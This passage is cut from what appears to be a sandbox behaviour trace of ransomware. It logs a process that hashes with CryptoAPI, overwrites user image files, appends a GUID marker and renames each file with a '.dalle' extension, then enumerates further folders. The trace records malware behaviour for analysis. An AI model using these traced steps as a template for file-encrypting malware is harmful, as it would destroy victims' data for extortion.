| out: phHash=0x388fa9c) returned 1 [0120.956] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.956] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.956] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.956] GetLastError () returned 0x0 [0120.956] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.956] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.957] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1285e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.957] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.957] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.957] CloseHandle (hObject=0x618) returned 1 [0120.958] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\y_z1 i4Ltt8.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\y_z1 i4ltt8.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\y_z1 i4Ltt8.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\y_z1 i4ltt8.jpg.dalle")) returned 1 [0120.959] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f88080, ftCreationTime.dwHighDateTime=0x1d4cee9, ftLastAccessTime.dwLowDateTime=0xc6ba8440, ftLastAccessTime.dwHighDateTime=0x1d4cff0, ftLastWriteTime.dwLowDateTime=0xc6ba8440, ftLastWriteTime.dwHighDateTime=0x1d4cff0, nFileSizeHigh=0x0, nFileSizeLow=0x8dcc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zJRA8eKdBctBG.png", cAlternateFileName="ZJRA8E~1.PNG")) returned 1 [0120.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zJRA8eKdBctBG.png") returned=".png" [0120.959] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zJRA8eKdBctBG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjra8ekdbctbg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.959] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=36300) returned 1 [0120.959] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.960] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8da6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.960] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.962] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x8dcc, lpOverlapped=0x0) returned 1 [0120.963] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.963] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.963] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.963] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.964] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.964] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.964] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.964] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.964] GetLastError () returned 0x0 [0120.964] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.964] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.964] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8dcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.964] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.964] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.964] CloseHandle (hObject=0x618) returned 1 [0120.965] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zJRA8eKdBctBG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjra8ekdbctbg.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zJRA8eKdBctBG.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjra8ekdbctbg.png.dalle")) returned 1 [0120.966] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5d6590, ftCreationTime.dwHighDateTime=0x1d4cb1c, ftLastAccessTime.dwLowDateTime=0xdf8b1890, ftLastAccessTime.dwHighDateTime=0x1d4d090, ftLastWriteTime.dwLowDateTime=0xdf8b1890, ftLastWriteTime.dwHighDateTime=0x1d4d090, nFileSizeHigh=0x0, nFileSizeLow=0x526a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="znNdKX_AXzU74PLmUWg.bmp", cAlternateFileName="ZNNDKX~1.BMP")) returned 1 [0120.967] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\znNdKX_AXzU74PLmUWg.bmp") returned=".bmp" [0120.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\znNdKX_AXzU74PLmUWg.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\znndkx_axzu74plmuwg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.967] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=21098) returned 1 [0120.967] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.968] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.968] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.969] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x526a, lpOverlapped=0x0) returned 1 [0120.970] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.970] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.970] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.970] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.971] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.971] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.971] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.971] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.971] GetLastError () returned 0x0 [0120.971] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.971] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.972] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x526a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.972] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.972] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.972] CloseHandle (hObject=0x618) returned 1 [0120.973] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\znNdKX_AXzU74PLmUWg.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\znndkx_axzu74plmuwg.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\znNdKX_AXzU74PLmUWg.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\znndkx_axzu74plmuwg.bmp.dalle")) returned 1 [0120.974] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5d6590, ftCreationTime.dwHighDateTime=0x1d4cb1c, ftLastAccessTime.dwLowDateTime=0xdf8b1890, ftLastAccessTime.dwHighDateTime=0x1d4d090, ftLastWriteTime.dwLowDateTime=0xdf8b1890, ftLastWriteTime.dwHighDateTime=0x1d4d090, nFileSizeHigh=0x0, nFileSizeLow=0x526a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="znNdKX_AXzU74PLmUWg.bmp", cAlternateFileName="ZNNDKX~1.BMP")) returned 0 [0120.974] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0120.975] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.975] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.975] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.975] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.975] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.975] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0120.975] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.975] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0120.975] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.975] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.975] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0120.975] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.975] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.975] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0120.975] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.975] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.975] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.975] PathFindFileNameW (pszPath="") returned="" [0120.975] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.975] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5d6590, ftCreationTime.dwHighDateTime=0x1d4cb1c, ftLastAccessTime.dwLowDateTime=0xdf8b1890, ftLastAccessTime.dwHighDateTime=0x1d4d090, ftLastWriteTime.dwLowDateTime=0xdf8b1890, ftLastWriteTime.dwHighDateTime=0x1d4d090, nFileSizeHigh=0x0, nFileSizeLow=0x526a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="znNdKX_AXzU74PLmUWg.bmp", cAlternateFileName="ZNNDKX~1.BMP")) returned 0xffffffff [0120.975] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.975] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0120.975] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.976] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde5e0 [0120.976] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.976] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.976] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.977] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.977] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.979] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: 